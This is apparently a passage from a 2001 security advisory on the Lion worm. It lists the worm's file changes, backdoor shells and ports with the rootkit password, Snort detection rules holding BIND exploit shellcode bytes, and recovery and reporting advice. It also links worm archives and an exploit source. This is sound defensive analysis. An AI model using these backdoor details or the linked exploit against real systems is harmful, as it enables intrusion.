Changes caused by the worm scripts:
  /sbin/asp exists (lite webserver to allow download of worm to next system)
 /tmp/ramen.tgz exists (Lion worm author used the asp62 binary from the Ramen worm)
 /etc/inetd.conf has new entry appended 'asp stream tcp nowait root /sbin/asp'
 /etc/rc.d/rc.sysinit has new entry appended '/dev/.lib/star.sh'
 /etc/hosts.deny is missing (an empty placeholder file is present by default)
 all index.html files are overwritten AGAIN by "lion crew" racial anti-japanese message

The following network bindings appear as a result of backdoors by the Lion worm. Notice the excessive number of backdoors present in the first version of the worm.

Network backdoors used by each version of the Lion Worm
Lion.v1

telnetd listening at tcp port 23 (t0rn rootkit) using password "cnhonker"
/bin/sh bound to tcp port 1008 (from bind exploit)
/bin/sh bound to tcp port 2555 (t0rn rootkit) activated by in.fingerd trojan
/bin/sh bound to tcp port 33567 (t0rn rootkit)
sshd listening at tcp port 33568 (t0rn rootkit) using password "cnhonker"
/bin/sh bound to tcp port 60008 (t0rn rootkit)

Lion.v2 /bin/sh bound to tcp port 1008 (from bind exploit)
Lion.v3 /bin/sh bound to tcp port 10008 (from bind exploit)
/sbin/asp bound to tcp port 27374 (webserver allowing download of Lion.v3 worm archive)


Detection on a Network

The following arachNIDS rules can be used with Snort to detect this worm on your network.

Pscan probes are detected using the portscan plugin in Snort, it can be enabled with:
preprocessor portscan: $INTERNAL 3 5 /var/log/snort/portscan

The BIND Infoleak probe can be detected using the arachNIDS ruleset: http://whitehats.com/info/IDS482
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS482/named-exploit-infoleak-lsd"; content: "|AB CD 09 80 00 00 00 01 00 00 00 00 00 00 01 00 01 20 20 20 20 02 61|"; reference:arachnids,482;)

The BIND TSIG overflow be detected using the arachNIDS ruleset: http://whitehats.com/info/IDS489
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS489/named-exploit-tsig-lsd"; content: "|3F 909090 EB3B 31DB 5F 83EF7C 8D7710 897704 8D4F20|"; reference:arachnids,489;)

The outgoing emails can be detected as well. However, the added detection ability may not be worth the performance impact on the IDS. The worm cannot replicate without triggering the signatures shown above.


Incident Recovery

If you have been infected by the Lion Worm, then you have suffered a critical breach of security. Killing the worm processess, deleting the files, and removing the backdoors will only clean the known part of this attack. The unfortunate issue is that your system has been compromised at the root level, and your IP address and password information have been sent to an attacker. This may have allowed them to log in through the backdoors and make other changes to the system. Further, since the worm does not repair the original security issue, any other attacker can still compromise your system. A good starting point for your path to recovery is CERT's "Steps for Recovering from a UNIX Root Compromise".


Incident Reporting

Most likely, the source address that is attacking your network is another victim in the propagation of the worm. Therefore, it is much better to report the information to your CERT, and let them do their job of coordinating the attack trend information, rather than trying to contact the owner of the machine that attacked you. This is a judgment call that you or your corporate security policy may dictate, but please remain calm and courteous when dealing with other admin involved in an attack. They may not yet be aware that their system was compromised.


References

"ISC Bind 8 Transaction Signatures Buffer Overflow Vulnerability", http://www.securityfocus.com/bid/2302

"ISC BIND Internal Memory Disclosure Vulnerability", http://www.securityfocus.com/bid/2321

"linx86_bind.c" exploit by Last Stage of Delirium, http://lsd-pl.net/files/get?LINUX/linx86_bind

GIAC Lion Worm Information, http://www.sans.org/y2k/lion.htm

Local links, provided for educational use only:
lion1.tgz / lion2.tgz / lion3.tgz / pscan.c / linx86_bind.c

 


© 2001 Max Vision Network Security. All rights reserved. Contact Us